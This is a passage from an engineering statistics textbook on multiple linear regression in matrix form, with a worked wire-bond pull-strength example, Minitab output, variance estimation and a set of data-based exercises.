$$\mathbf{y} = \begin{bmatrix} y_1 \\ y_2 \\ \vdots \\ y_n \end{bmatrix} \quad \mathbf{X} = \begin{bmatrix} 1 & x_{11} & x_{12} & \ldots & x_{1k} \\ 1 & x_{21} & x_{22} & \ldots & x_{2k} \\ \vdots & \vdots & \vdots & & \vdots \\ 1 & x_{n1} & x_{n2} & \ldots & x_{nk} \end{bmatrix} \quad \boldsymbol{\beta} = \begin{bmatrix} \beta_0 \\ \beta_1 \\ \vdots \\ \beta_k \end{bmatrix} \quad \text{and} \quad \boldsymbol{\epsilon} = \begin{bmatrix} \epsilon_1 \\ \epsilon_2 \\ \vdots \\ \epsilon_n \end{bmatrix}$$

In general, $\mathbf{y}$ is an $(n \times 1)$ vector of the observations, $\mathbf{X}$ is an $(n \times p)$ matrix of the levels of the independent variables (assuming that the intercept is always multiplied by a constant value—unity), $\boldsymbol{\beta}$ is a $(p \times 1)$ vector of the regression coefficients, and $\boldsymbol{\epsilon}$ is a $(n \times 1)$ vector of random errors. The $\mathbf{X}$ matrix is often called the **model matrix.**

We wish to find the vector of least squares estimators, $\hat{\boldsymbol{\beta}}$, that minimizes

$$L = \sum_{i=1}^{n} \epsilon_i^2 = \boldsymbol{\epsilon}'\boldsymbol{\epsilon} = (\mathbf{y} - \mathbf{X}\boldsymbol{\beta})'(\mathbf{y} - \mathbf{X}\boldsymbol{\beta})$$

The least squares estimator $\hat{\boldsymbol{\beta}}$ is the solution for $\boldsymbol{\beta}$ in the equations

$$\frac{\partial L}{\partial \boldsymbol{\beta}} = \mathbf{0}$$

We will not give the details of taking the derivatives above; however, the resulting equations that must be solved are

Normal Equations

$$\mathbf{X}'\mathbf{X}\hat{\boldsymbol{\beta}} = \mathbf{X}'\mathbf{y} \tag{12-12}$$

Equations 12-12 are the least squares normal equations in matrix form. They are identical to the scalar form of the normal equations given earlier in Equations 12-10. To solve the normal equations, multiply both sides of Equations 12-12 by the inverse of $\mathbf{X}'\mathbf{X}$. Therefore, the least squares estimate of $\boldsymbol{\beta}$ is

Least Square Estimate of β

$$\hat{\boldsymbol{\beta}} = (\mathbf{X}'\mathbf{X})^{-1}\mathbf{X}'\mathbf{y} \tag{12-13}$$

Note that there are $p = k + 1$ normal equations in $p = k + 1$ unknowns (the values of $\hat{\beta}_0, \hat{\beta}_1, \ldots, \hat{\beta}_k$). Furthermore, the matrix $\mathbf{X}'\mathbf{X}$ is always nonsingular, as was assumed above, so the methods described in textbooks on determinants and matrices for inverting these matrices can be used to find $(\mathbf{X}'\mathbf{X})^{-1}$. In practice, multiple regression calculations are almost always performed using a computer.

It is easy to see that the matrix form of the normal equations is identical to the scalar form. Writing out Equation 12-12 in detail, we obtain

$$\begin{bmatrix} n & \sum_{i=1}^{n} x_{i1} & \sum_{i=1}^{n} x_{i2} & \cdots & \sum_{i=1}^{n} x_{ik} \\ \sum_{i=1}^{n} x_{i1} & \sum_{i=1}^{n} x_{i1}^2 & \sum_{i=1}^{n} x_{i1}x_{i2} & \cdots & \sum_{i=1}^{n} x_{i1}x_{ik} \\ \vdots & \vdots & \vdots & & \vdots \\ \sum_{i=1}^{n} x_{ik} & \sum_{i=1}^{n} x_{ik}x_{i1} & \sum_{i=1}^{n} x_{ik}x_{i2} & \cdots & \sum_{i=1}^{n} x_{ik}^2 \end{bmatrix} \begin{bmatrix} \hat{\beta}_0 \\ \hat{\beta}_1 \\ \vdots \\ \hat{\beta}_k \end{bmatrix} = \begin{bmatrix} \sum_{i=1}^{n} y_i \\ \sum_{i=1}^{n} x_{i1}y_i \\ \vdots \\ \sum_{i=1}^{n} x_{ik}y_i \end{bmatrix}$$

If the indicated matrix multiplication is performed, the scalar form of the normal equations (that is, Equation 12-10) will result. In this form it is easy to see that $\mathbf{X}'\mathbf{X}$ is a $(p \times p)$ symmetric matrix and $\mathbf{X}'\mathbf{y}$ is a $(p \times 1)$ column vector. Note the special structure of the $\mathbf{X}'\mathbf{X}$ matrix. The diagonal elements of $\mathbf{X}'\mathbf{X}$ are the sums of squares of the elements in the columns of $\mathbf{X}$, and the off-diagonal elements are the sums of cross-products of the elements in the columns of $\mathbf{X}$. Furthermore, note that the elements of $\mathbf{X}'\mathbf{y}$ are the sums of cross-products of the columns of $\mathbf{X}$ and the observations $\{y_i\}$.

The fitted regression model is

$$\hat{y}_i = \hat{\beta}_0 + \sum_{j=1}^{k} \hat{\beta}_j x_{ij} \qquad i = 1, 2, \ldots, n \tag{12-14}$$

In matrix notation, the fitted model is

$$\hat{\mathbf{y}} = \mathbf{X}\hat{\boldsymbol{\beta}}$$

The difference between the observation y_i and the fitted value $\hat{y}_i$ is a **residual,** say, $e_i = y_i - \hat{y}_i$. The $(n \times 1)$ vector of residuals is denoted by

$$\mathbf{e} = \mathbf{y} - \hat{\mathbf{y}} \tag{12-15}$$

EXAMPLE 12-2 Wire Bond Strength with Matrix Notation

In Example 12-1, we illustrated fitting the multiple regression model

$$y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \epsilon$$

where y is the observed pull strength for a wire bond, x_1 is the wire length, and x_2 is the die height. The 25 observations are in Table 12-2. We will now use the matrix approach to fit the regression model above to these data. The model matrix $\mathbf{X}$ and $\mathbf{y}$ vector for this model are

$$\mathbf{X} = \begin{bmatrix} 1 & 2 & 50 \\ 1 & 8 & 110 \\ 1 & 11 & 120 \\ 1 & 10 & 550 \\ 1 & 8 & 295 \\ 1 & 4 & 200 \\ 1 & 2 & 375 \\ 1 & 2 & 52 \\ 1 & 9 & 100 \\ 1 & 8 & 300 \\ 1 & 4 & 412 \\ 1 & 11 & 400 \\ 1 & 12 & 500 \\ 1 & 2 & 360 \\ 1 & 4 & 205 \\ 1 & 4 & 400 \\ 1 & 20 & 600 \\ 1 & 1 & 585 \\ 1 & 10 & 540 \\ 1 & 15 & 250 \\ 1 & 15 & 290 \\ 1 & 16 & 510 \\ 1 & 17 & 590 \\ 1 & 6 & 100 \\ 1 & 5 & 400 \end{bmatrix} \quad \mathbf{y} = \begin{bmatrix} 9.95 \\ 24.45 \\ 31.75 \\ 35.00 \\ 25.02 \\ 16.86 \\ 14.38 \\ 9.60 \\ 24.35 \\ 27.50 \\ 17.08 \\ 37.00 \\ 41.95 \\ 11.66 \\ 21.65 \\ 17.89 \\ 69.00 \\ 10.30 \\ 34.93 \\ 46.59 \\ 44.88 \\ 54.12 \\ 56.63 \\ 22.13 \\ 21.15 \end{bmatrix}$$

The $\mathbf{X}'\mathbf{X}$ matrix is

$$\mathbf{X}'\mathbf{X} = \begin{bmatrix} 1 & 1 & \cdots & 1 \\ 2 & 8 & \cdots & 5 \\ 50 & 110 & \cdots & 400 \end{bmatrix} \begin{bmatrix} 1 & 2 & 50 \\ 1 & 8 & 110 \\ \vdots & \vdots & \vdots \\ 1 & 5 & 400 \end{bmatrix}$$

$$= \begin{bmatrix} 25 & 206 & 8{,}294 \\ 206 & 2{,}396 & 77{,}177 \\ 8{,}294 & 77{,}177 & 3{,}531{,}848 \end{bmatrix}$$

and the $\mathbf{X}'\mathbf{y}$ vector is

$$\mathbf{X}'\mathbf{y} = \begin{bmatrix} 1 & 1 & \cdots & 1 \\ 2 & 8 & \cdots & 5 \\ 50 & 110 & \cdots & 400 \end{bmatrix} \begin{bmatrix} 9.95 \\ 24.45 \\ \vdots \\ 21.15 \end{bmatrix} = \begin{bmatrix} 725.82 \\ 8{,}008.47 \\ 274{,}816.71 \end{bmatrix}$$

The least squares estimates are found from Equation 12-13 as

$$\hat{\boldsymbol{\beta}} = (\mathbf{X}'\mathbf{X})^{-1}\mathbf{X}'\mathbf{y}$$

or

$$\begin{bmatrix} \hat{\beta}_0 \\ \hat{\beta}_1 \\ \hat{\beta}_2 \end{bmatrix} = \begin{bmatrix} 25 & 206 & 8{,}294 \\ 206 & 2{,}396 & 77{,}177 \\ 8{,}294 & 77{,}177 & 3{,}531{,}848 \end{bmatrix}^{-1} \begin{bmatrix} 725.82 \\ 8{,}008.37 \\ 274{,}811.31 \end{bmatrix}$$

$$= \begin{bmatrix} 0.214653 & -0.007491 & -0.000340 \\ -0.007491 & 0.001671 & -0.000019 \\ -0.000340 & -0.000019 & +0.0000015 \end{bmatrix} \begin{bmatrix} 725.82 \\ 8{,}008.47 \\ 274{,}811.31 \end{bmatrix}$$

$$= \begin{bmatrix} 2.26379143 \\ 2.74426964 \\ 0.01252781 \end{bmatrix}$$

Therefore, the fitted regression model with the regression coefficients rounded to five decimal places is

$$\hat{y} = 2.26379 + 2.74427x_1 + 0.01253x_2$$

This is identical to the results obtained in Example 12-1.

This regression model can be used to predict values of pull strength for various values of wire length (x_1) and die height (x_2). We can also obtain the **fitted values** $\hat{y}_i$ by substituting each observation (x_{i1}, x_{i2}), $i = 1, 2, \ldots, n$, into the equation. For example, the first observation has $x_{11} = 2$ and $x_{12} = 50$, and the fitted value is

$$\begin{aligned} \hat{y}_1 &= 2.26379 + 2.74427x_{11} + 0.01253x_{12} \\ &= 2.26379 + 2.74427(2) + 0.01253(50) \\ &= 8.38 \end{aligned}$$

The corresponding observed value is $y_1 = 9.95$. The *residual* corresponding to the first observation is

$$\begin{aligned} e_1 &= y_1 - \hat{y}_1 \\ &= 9.95 - 8.38 \\ &= 1.57 \end{aligned}$$

Table 12-3 displays all 25 fitted values $\hat{y}_i$ and the corresponding residuals. The fitted values and residuals are calculated to the same accuracy as the original data.

Table 12-3 Observations, Fitted Values, and Residuals for Example 12-2

Observation Number	y_i	$\hat{y}_i$	$e_i = y_i - \hat{y}_i$	Observation Number	y_i	$\hat{y}_i$	$e_i = y_i - \hat{y}_i$
1	9.95	8.38	1.57	14	11.66	12.26	−0.60
2	24.45	25.60	−1.15	15	21.65	15.81	5.84
3	31.75	33.95	−2.20	16	17.89	18.25	−0.36
4	35.00	36.60	−1.60	17	69.00	64.67	4.33
5	25.02	27.91	−2.89	18	10.30	12.34	−2.04
6	16.86	15.75	1.11	19	34.93	36.47	−1.54
7	14.38	12.45	1.93	20	46.59	46.56	0.03
8	9.60	8.40	1.20	21	44.88	47.06	−2.18
9	24.35	28.21	−3.86	22	54.12	52.56	1.56
10	27.50	27.98	−0.48	23	56.63	56.31	0.32
11	17.08	18.40	−1.32	24	22.13	19.98	2.15
12	37.00	37.46	−0.46	25	21.15	21.00	0.15
13	41.95	41.46	0.49				

Computers are almost always used in fitting multiple regression models. Table 12-4 presents some annotated output from Minitab for the least squares regression model for wire bond pull strength data. The upper part of the table contains the numerical estimates of the regression coefficients. The computer also calculates several other quantities that reflect important information about the regression model. In subsequent sections, we will define and explain the quantities in this output.

Estimating σ^2

Just as in simple linear regression, it is important to estimate σ^2, the variance of the error term ϵ, in a multiple regression model. Recall that in simple linear regression the estimate of σ^2 was obtained by dividing the sum of the squared residuals by $n - 2$. Now there are two parameters in the simple linear regression model, so in multiple linear regression with p parameters a logical estimator for σ^2 is

Estimator of Variance

$$\hat{\sigma}^2 = \frac{\sum_{i=1}^{n} e_i^2}{n - p} = \frac{SS_E}{n - p} \tag{12-16}$$

This is an **unbiased estimator** of σ^2. Just as in simple linear regression, the estimate of σ^2 is usually obtained from the **analysis of variance** for the regression model. The numerator of Equation 12-16 is called the **error** or **residual sum of squares,** and the denominator $n - p$ is called the **error** or **residual degrees of freedom.**

We can find a computing formula for SS_E as follows:

$$SS_E = \sum_{i=1}^{n} (y_i - \hat{y}_i)^2 = \sum_{i=1}^{n} e_i^2 = \mathbf{e}'\mathbf{e}$$

Substituting $\mathbf{e} = \mathbf{y} - \hat{\mathbf{y}} = \mathbf{y} - \mathbf{X}\hat{\boldsymbol{\beta}}$ into the above, we obtain

$$\begin{aligned} SS_E &= \mathbf{y}'\mathbf{y} - \hat{\boldsymbol{\beta}}'\mathbf{X}'\mathbf{y} \\ &= 27{,}178.5316 - 27{,}063.3581 = 115.174 \end{aligned} \tag{12-17}$$

Table 12-4 Minitab Multiple Regression Output for the Wire Bond Pull Strength Data

Regression Analysis: Strength versus Length, Height

The regression equation is
Strength = 2.26 + 2.74 Length + 0.0125 Height

Predictor		Coef	SE Coef	T	P	VIF
Constant	$\hat{\beta}_0$ →	2.264	1.060	2.14	0.044	
Length	$\hat{\beta}_1$ →	2.74427	0.09352	29.34	0.000	1.2
Height	$\hat{\beta}_2$ →	0.012528	0.002798	4.48	0.000	1.2

S = 2.288 R-Sq = 98.1% R-Sq (adj) = 97.9%
PRESS = 156.163 R-Sq (pred) = 97.44%

Analysis of Variance

Source	DF	SS	MS	F	P
Regression	2	5990.8	2995.4	572.17	0.000
Residual Error	22	115.2	5.2 ← $\hat{\sigma}^2$		
Total	24	6105.9			

Source	DF	Seq SS
Length	1	5885.9
Height	1	104.9

Predicted Values for New Observations

New Obs	Fit	SE Fit	95.0% CI	95.0% PI
1	27.663	0.482	(26.663, 28.663)	(22.814, 32.512)

Values of Predictors for New Observations

New Obs	Length	Height
1	8.00	275

Table 12-4 shows that the estimate of σ^2 for the wire bond pull strength regression model is $\hat{\sigma}^2 = 115.2/22 = 5.2364$. The Minitab output rounds the estimate to $\hat{\sigma}^2 = 5.2$.

12-1.4 Properties of the Least Squares Estimators

The statistical properties of the least squares estimators $\hat{\beta}_0, \hat{\beta}_1, \ldots, \hat{\beta}_k$ may be easily found, under certain assumptions on the error terms $\epsilon_1, \epsilon_2, \ldots, \epsilon_n$, in the regression model. Paralleling the assumptions made in Chapter 11, we assume that the errors ϵ_i are statistically independent with mean zero and variance σ^2. Under these assumptions, the least squares estimators $\hat{\beta}_0, \hat{\beta}_1, \ldots, \hat{\beta}_k$ are **unbiased estimators** of the regression coefficients $\beta_0, \beta_1, \ldots, \beta_k$. This property may be shown as follows:

$$
\begin{aligned}
E(\hat{\boldsymbol{\beta}}) &= E[(\mathbf{X}'\mathbf{X})^{-1}\mathbf{X}'\mathbf{Y}] \\
&= E[(\mathbf{X}'\mathbf{X})^{-1}\mathbf{X}'(\mathbf{X}\boldsymbol{\beta} + \boldsymbol{\epsilon})] \\
&= E[(\mathbf{X}'\mathbf{X})^{-1}\mathbf{X}'\mathbf{X}\boldsymbol{\beta} + (\mathbf{X}'\mathbf{X})^{-1}\mathbf{X}'\boldsymbol{\epsilon}] \\
&= \boldsymbol{\beta}
\end{aligned}
$$

since $E(\boldsymbol{\epsilon}) = \mathbf{0}$ and $(\mathbf{X}'\mathbf{X})^{-1}\mathbf{X}'\mathbf{X} = \mathbf{I}$, the identity matrix. Thus, $\hat{\boldsymbol{\beta}}$ is an unbiased estimator of $\boldsymbol{\beta}$.

The variances of the $\hat{\boldsymbol{\beta}}$'s are expressed in terms of the elements of the inverse of the $\mathbf{X}'\mathbf{X}$ matrix. The inverse of $\mathbf{X}'\mathbf{X}$ times the constant σ^2 represents the **covariance matrix** of the regression coefficients $\hat{\boldsymbol{\beta}}$. The diagonal elements of $\sigma^2(\mathbf{X}'\mathbf{X})^{-1}$ are the variances of $\hat{\beta}_0, \hat{\beta}_1, \ldots, \hat{\beta}_k$, and the off-diagonal elements of this matrix are the covariances. For example, if we have $k = 2$ regressors, such as in the pull-strength problem,

$$\mathbf{C} = (\mathbf{X}'\mathbf{X})^{-1} = \begin{bmatrix} C_{00} & C_{01} & C_{02} \\ C_{10} & C_{11} & C_{12} \\ C_{20} & C_{21} & C_{22} \end{bmatrix}$$

which is symmetric ($C_{10} = C_{01}$, $C_{20} = C_{02}$, and $C_{21} = C_{12}$) because $(\mathbf{X}'\mathbf{X})^{-1}$ is symmetric, and we have

$$V(\hat{\beta}_j) = \sigma^2 C_{jj}, \qquad j = 0, 1, 2$$
$$\text{cov}(\hat{\beta}_i, \hat{\beta}_j) = \sigma^2 C_{ij}, \qquad i \neq j$$

In general, the covariance matrix of $\hat{\boldsymbol{\beta}}$ is a $(p \times p)$ symmetric matrix whose jjth element is the variance of $\hat{\beta}_j$ and whose i, jth element is the covariance between $\hat{\beta}_i$ and $\hat{\beta}_j$, that is,

$$\text{cov}(\hat{\boldsymbol{\beta}}) = \sigma^2(\mathbf{X}'\mathbf{X})^{-1} = \sigma^2\mathbf{C}$$

The estimates of the variances of these regression coefficients are obtained by replacing σ^2 with an estimate. When σ^2 is replaced by its estimate $\hat{\sigma}^2$, the square root of the estimated variance of the jth regression coefficient is called the **estimated standard error** of $\hat{\beta}_j$ or $se(\hat{\beta}_j) = \sqrt{\hat{\sigma}^2 C_{jj}}$. These standard errors are a useful measure of the **precision of estimation** for the regression coefficients; small standard errors imply good precision.

Multiple regression computer programs usually display these standard errors. For example, the Minitab output in Table 12-4 reports $se(\hat{\beta}_0) = 1.060$, $se(\hat{\beta}_1) = 0.09352$, and $se(\hat{\beta}_2) = 0.002798$. The intercept estimate is about twice the magnitude of its standard error, and $\hat{\beta}_1$ and $\hat{\beta}_2$ are considerably larger than $se(\hat{\beta}_1)$ and $se(\hat{\beta}_2)$. This implies reasonable precision of estimation, although the parameters β_1 and β_2 are much more precisely estimated than the intercept (this is not unusual in multiple regression).

EXERCISES FOR SECTION 12-1

12-1. A study was performed to investigate the shear strength of soil (y) as it related to depth in feet (x_1) and % moisture content (x_2). Ten observations were collected, and the following summary quantities obtained: $n = 10$, $\sum x_{i1} = 223$, $\sum x_{i2} = 553$, $\sum y_i = 1{,}916$, $\sum x_{i1}^2 = 5{,}200.9$, $\sum x_{i2}^2 = 31{,}729$, $\sum x_{i1}x_{i2} = 12{,}352$, $\sum x_{i1}y_i = 43{,}550.8$, $\sum x_{i2}y_i = 104{,}736.8$, and $\sum y_i^2 = 371{,}595.6$.

(a) Set up the least squares normal equations for the model $Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \epsilon$.

(b) Estimate the parameters in the model in part (a).

(c) What is the predicted strength when $x_1 = 18$ feet and $x_2 = 43\%$?

12-2. A regression model is to be developed for predicting the ability of soil to absorb chemical contaminants. Ten observations have been taken on a soil absorption index (y) and two regressors: x_1 = amount of extractable iron ore and x_2 = amount of bauxite. We wish to fit the model $Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \epsilon$. Some necessary quantities are:

$$(\mathbf{X}'\mathbf{X})^{-1} = \begin{bmatrix} 1.17991 & -7.30982\text{ E-3} & 7.3006\text{ E-4} \\ -7.30982\text{ E-3} & 7.9799\text{ E-5} & -1.23713\text{ E-4} \\ 7.3006\text{ E-4} & -1.23713\text{ E-4} & 4.6576\text{ E-4} \end{bmatrix},$$

$$\mathbf{X}'\mathbf{y} = \begin{bmatrix} 220 \\ 36{,}768 \\ 9{,}965 \end{bmatrix}$$

(a) Estimate the regression coefficients in the model specified above.

(b) What is the predicted value of the absorption index y when $x_1 = 200$ and $x_2 = 50$?

12-3. A chemical engineer is investigating how the amount of conversion of a product from a raw material (y) depends on

reaction temperature (x_1) and the reaction time (x_2). He has developed the following regression models:

1. $\hat{y} = 100 + 2x_1 + 4x_2$
2. $\hat{y} = 95 + 1.5x_1 + 3x_2 + 2x_1x_2$

Both models have been built over the range $0.5 \le x_2 \le 10$.

(a) What is the predicted value of conversion when $x_2 = 2$? Repeat this calculation for $x_2 = 8$. Draw a graph of the predicted values for both conversion models. Comment on the effect of the interaction term in model 2.

(b) Find the expected change in the mean conversion for a unit change in temperature x_1 for model 1 when $x_2 = 5$. Does this quantity depend on the specific value of reaction time selected? Why?

(c) Find the expected change in the mean conversion for a unit change in temperature x_1 for model 2 when $x_2 = 5$. Repeat this calculation for $x_2 = 2$ and $x_2 = 8$. Does the result depend on the value selected for x_2? Why?

12-4. You have fit a multiple linear regression model and the $(\mathbf{X'X})^{-1}$ matrix is:

$$(\mathbf{X'X})^{-1} = \begin{bmatrix} 0.893758 & -0.0282448 & -0.0175641 \\ -0.028245 & 0.0013329 & 0.0001547 \\ -0.017564 & 0.0001547 & 0.0009108 \end{bmatrix}$$

(a) How many regressor variables are in this model?

(b) If the error sum of squares is 307 and there are 15 observations, what is the estimate of σ^2?

(c) What is the standard error of the regression coefficient $\hat{\beta}_1$?

12-5. Data from a patient satisfaction survey in a hospital are shown in the following table:

Observation	Age	Severity	Surg-Med	Anxiety	Satisfaction
1	55	50	0	2.1	68
2	46	24	1	2.8	77
3	30	46	1	3.3	96
4	35	48	1	4.5	80
5	59	58	0	2.0	43
6	61	60	0	5.1	44
7	74	65	1	5.5	26
8	38	42	1	3.2	88
9	27	42	0	3.1	75
10	51	50	1	2.4	57
11	53	38	1	2.2	56
12	41	30	0	2.1	88
13	37	31	0	1.9	88
14	24	34	0	3.1	102
15	42	30	0	3.0	88
16	50	48	1	4.2	70
17	58	61	1	4.6	52
18	60	71	1	5.3	43
19	62	62	0	7.2	46
20	68	38	0	7.8	56
21	70	41	1	7.0	59
22	79	66	1	6.2	26
23	63	31	1	4.1	52
24	39	42	0	3.5	83
25	49	40	1	2.1	75

The regressor variables are the patient's age, an illness severity index (larger values indicate greater severity), an indicator variable denoting whether the patient is a medical patient (0) or a surgical patient (1), and an anxiety index (larger values indicate greater anxiety).

(a) Fit a multiple linear regression model to the satisfaction response using age, illness severity, and the anxiety index as the regressors.

(b) Estimate σ^2.

(c) Find the standard errors of the regression coefficients.

(d) Are all of the model parameters estimated with nearly the same precision? Why or why not?

12-6. The electric power consumed each month by a chemical plant is thought to be related to the average ambient temperature (x_1), the number of days in the month (x_2), the average product purity (x_3), and the tons of product produced (x_4). The past year's historical data are available and are presented in the following table:

y	x_1	x_2	x_3	x_4
240	25	24	91	100
236	31	21	90	95
270	45	24	88	110
274	60	25	87	88
301	65	25	91	94
316	72	26	94	99
300	80	25	87	97
296	84	25	86	96
267	75	24	88	110
276	60	25	91	105
288	50	25	90	100
261	38	23	89	98

(a) Fit a multiple linear regression model to these data.

(b) Estimate σ^2.

Table 12-5 DaimlerChrysler Fuel Economy and Emissions

mfr	carline	car/truck	cid	rhp	trns	drv	od	etw	cmp	axle	n/v	a/c	hc	co	co2	mpg
20	300C/SRT-8	C	215	253	L5	4	2	4500	9.9	3.07	30.9	Y	0.011	0.09	288	30.8
20	CARAVAN 2WD	T	201	180	L4	F	2	4500	9.3	2.49	32.3	Y	0.014	0.11	274	32.5
20	CROSSFIRE ROADSTER	C	196	168	L5	R	2	3375	10	3.27	37.1	Y	0.001	0.02	250	35.4
20	DAKOTA PICKUP 2WD	T	226	210	L4	R	2	4500	9.2	3.55	29.6	Y	0.012	0.04	316	28.1
20	DAKOTA PICKUP 4WD	T	226	210	L4	4	2	5000	9.2	3.55	29.6	Y	0.011	0.05	365	24.4
20	DURANGO 2WD	T	348	345	L5	R	2	5250	8.6	3.55	27.2	Y	0.023	0.15	367	24.1
20	GRAND CHEROKEE 2WD	T	226	210	L4	R	2	4500	9.2	3.07	30.4	Y	0.006	0.09	312	28.5
20	GRAND CHEROKEE 4WD	T	348	230	L5	4	2	5000	9	3.07	24.7	Y	0.008	0.11	369	24.2
20	LIBERTY/CHEROKEE 2WD	T	148	150	M6	R	2	4000	9.5	4.1	41	Y	0.004	0.41	270	32.8
20	LIBERTY/CHEROKEE 4WD	T	226	210	L4	4	2	4250	9.2	3.73	31.2	Y	0.003	0.04	317	28
20	NEON/SRT-4/SX 2.0	C	122	132	L4	F	2	3000	9.8	2.69	39.2	Y	0.003	0.16	214	41.3
20	PACIFICA 2WD	T	215	249	L4	F	2	4750	9.9	2.95	35.3	Y	0.022	0.01	295	30
20	PACIFICA AWD	T	215	249	L4	4	2	5000	9.9	2.95	35.3	Y	0.024	0.05	314	28.2
20	PT CRUISER	T	148	220	L4	F	2	3625	9.5	2.69	37.3	Y	0.002	0.03	260	34.1
20	RAM 1500 PICKUP 2WD	T	500	500	M6	R	2	5250	9.6	4.1	22.3	Y	0.01	0.1	474	18.7
20	RAM 1500 PICKUP 4WD	T	348	345	L5	4	2	6000	8.6	3.92	29	Y	0	0	0	20.3
20	SEBRING 4-DR	C	165	200	L4	F	2	3625	9.7	2.69	36.8	Y	0.011	0.12	252	35.1
20	STRATUS 4-DR	C	148	167	L4	F	2	3500	9.5	2.69	36.8	Y	0.002	0.06	233	37.9
20	TOWN & COUNTRY 2WD	T	148	150	L4	F	2	4250	9.4	2.69	34.9	Y	0	0.09	262	33.8
20	VIPER CONVERTIBLE	C	500	501	M6	R	2	3750	9.6	3.07	19.4	Y	0.007	0.05	342	25.9
20	WRANGLER/TJ 4WD	T	148	150	M6	4	2	3625	9.5	3.73	40.1	Y	0.004	0.43	337	26.4

mfr-mfr code
carline-car line name (test vehicle model name)
car/truck-'C' for passenger vehicle and 'T' for truck
cid-cubic inch displacement of test vehicle
rhp-rated horsepower
trns-transmission code
drv-drive system code
od-overdrive code
etw-equivalent test weight
cmp-compression ratio
axle-axle ratio
n/v-n/v ratio (engine speed versus vehicle speed at 50 mph)
a/c-indicates air conditioning simulation
hc-HC(hydrocarbon emissions) Test level composite results
co-CO(carbon monoxide emissions) Test level composite results
co2-CO2(carbon dioxide emissions) Test level composite results
mpg-mpg(fuel economy, miles per gallon)

(c) Compute the standard errors of the regression coefficients. Are all of the model parameters estimated with the same precision? Why or why not?

(d) Predict power consumption for a month in which $x_1 = 75°F$, $x_2 = 24$ days, $x_3 = 90\%$, and $x_4 = 98$ tons.

12-7. Table 12-5 provides the highway gasoline mileage test results for 2005 model year vehicles from DaimlerChrysler. The full table of data (available on the book's Web site) contains the same data for 2005 models from over 250 vehicles from many manufacturers (source: Environmental Protection Agency Web site www.epa.gov/ otaq/cert/mpg/testcars/database).

(a) Fit a multiple linear regression model to these data to estimate gasoline mileage that uses the following regressors: *cid, rhp, etw, cmp, axle, n/v.*

(b) Estimate σ^2 and the standard errors of the regression coefficients.

(c) Predict the gasoline mileage for the first vehicle in the table.

12-8. The pull strength of a wire bond is an important characteristic. The following table gives information on pull strength (y), die height (x_1), post height (x_2), loop height (x_3), wire length (x_4), bond width on the die (x_5), and bond width on the post (x_6).

(a) Fit a multiple linear regression model using x_2, x_3, x_4, and x_5 as the regressors.

(b) Estimate σ^2.

(c) Find the $se(\hat{\beta}_j)$. How precisely are the regression coefficients estimated, in your opinion?

y	x_1	x_2	x_3	x_4	x_5	x_6
8.0	5.2	19.6	29.6	94.9	2.1	2.3
8.3	5.2	19.8	32.4	89.7	2.1	1.8
8.5	5.8	19.6	31.0	96.2	2.0	2.0
8.8	6.4	19.4	32.4	95.6	2.2	2.1
9.0	5.8	18.6	28.6	86.5	2.0	1.8
9.3	5.2	18.8	30.6	84.5	2.1	2.1
9.3	5.6	20.4	32.4	88.8	2.2	1.9
9.5	6.0	19.0	32.6	85.7	2.1	1.9
9.8	5.2	20.8	32.2	93.6	2.3	2.1
10.0	5.8	19.9	31.8	86.0	2.1	1.8
10.3	6.4	18.0	32.6	87.1	2.0	1.6
10.5	6.0	20.6	33.4	93.1	2.1	2.1
10.8	6.2	20.2	31.8	83.4	2.2	2.1
11.0	6.2	20.2	32.4	94.5	2.1	1.9
11.3	6.2	19.2	31.4	83.4	1.9	1.8
11.5	5.6	17.0	33.2	85.2	2.1	2.1
11.8	6.0	19.8	35.4	84.1	2.0	1.8
12.3	5.8	18.8	34.0	86.9	2.1	1.8
12.5	5.6	18.6	34.2	83.0	1.9	2.0

(d) Use the model from part (a) to predict pull strength when $x_2 = 20$, $x_3 = 30$, $x_4 = 90$, and $x_5 = 2.0$.

12-9. An engineer at a semiconductor company wants to model the relationship between the device HFE (y) and three parameters: Emitter-RS (x_1), Base-RS (x_2), and Emitter-to-Base RS (x_3). The data are shown in the following table.

x_1 Emitter-RS	x_2 Base-RS	x_3 E-B-RS	y HFE-1M-5V
14.620	226.00	7.000	128.40
15.630	220.00	3.375	52.62
14.620	217.40	6.375	113.90
15.000	220.00	6.000	98.01
14.500	226.50	7.625	139.90
15.250	224.10	6.000	102.60
16.120	220.50	3.375	48.14
15.130	223.50	6.125	109.60
15.500	217.60	5.000	82.68
15.130	228.50	6.625	112.60
15.500	230.20	5.750	97.52
16.120	226.50	3.750	59.06
15.130	226.60	6.125	111.80
15.630	225.60	5.375	89.09
15.380	229.70	5.875	101.00
14.380	234.00	8.875	171.90
15.500	230.00	4.000	66.80
14.250	224.30	8.000	157.10
14.500	240.50	10.870	208.40
14.620	223.70	7.375	133.40

(a) Fit a multiple linear regression model to the data.
(b) Estimate σ^2.
(c) Find the standard errors $se(\hat{\beta}_j)$. Are all of the model parameters estimated with the same precision? Justify your answer.
(d) Predict HFE when $x_1 = 14.5$, $x_2 = 220$, and $x_3 = 5.0$.

12-10. Heat treating is often used to carburize metal parts, such as gears. The thickness of the carburized layer is considered a crucial feature of the gear and contributes to the overall reliability of the part. Because of the critical nature of this feature, two different lab tests are performed on each furnace load. One test is run on a sample pin that accompanies each load. The other test is a destructive test, where an actual part is cross-sectioned. This test involves running a carbon analysis on the surface of both the gear pitch (top of the gear tooth) and the gear root (between the gear teeth). Table 12-6 shows the results of the pitch carbon analysis test for 32 parts.

The regressors are furnace temperature (TEMP), carbon concentration and duration of the carburizing cycle (SOAKPCT, SOAKTIME), and carbon concentration and duration of the diffuse cycle (DIFFPCT, DIFFTIME).

(a) Fit a linear regression model relating the results of the pitch carbon analysis test (PITCH) to the five regressor variables.
(b) Estimate σ^2.
(c) Find the standard errors $se(\hat{\beta}_j)$.
(d) Use the model in part (a) to predict PITCH when TEMP = 1650, SOAKTIME = 1.00, SOAKPCT = 1.10, DIFFTIME = 1.00, and DIFFPCT = 0.80.

12-11. An article in *Electronic Packaging and Production* (2002, Vol. 42) considered the effect of X-ray inspection of integrated circuits. The rads (radiation dose) were studied as a function of current (in milliamps) and exposure time (in minutes).

Rads	mAmps	Exposure Time
7.4	10	0.25
14.8	10	0.5
29.6	10	1
59.2	10	2
88.8	10	3
296	10	10
444	10	15
592	10	20
11.1	15	0.25
22.2	15	0.5
44.4	15	1

continued

Rads	mAmps	Exposure Time
88.8	15	2
133.2	15	3
444	15	10
666	15	15
888	15	20
